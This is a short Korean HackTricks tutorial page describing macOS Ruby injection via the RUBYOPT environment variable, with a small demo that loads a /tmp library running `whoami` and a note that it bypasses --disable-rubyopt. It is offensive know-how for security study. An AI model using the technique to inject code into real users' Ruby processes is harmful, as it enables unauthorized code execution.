macOS Ruby Applications Injection

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

RUBYOPT

이 환경 변수를 사용하면 ruby가 실행될 때 새로운 매개변수를 추가할 수 있습니다. -e 매개변수를 사용하여 실행할 루비 코드를 지정할 수는 없지만, -I-r 매개변수를 사용하여 라이브러리 로드 경로에 새 폴더를 추가하고 로드할 라이브러리를 지정할 수 있습니다.

**/tmp**에 inject.rb 라이브러리를 생성하세요:

inject.rb
puts `whoami`

어디에서나 다음과 같은 루비 스크립트를 생성하십시오:

hello.rb
puts 'Hello, World!'

그런 다음 임의의 루비 스크립트를 만들고 다음과 같이 로드하십시오:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

재미있는 사실은, --disable-rubyopt 매개변수와 함께도 작동한다는 것입니다:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated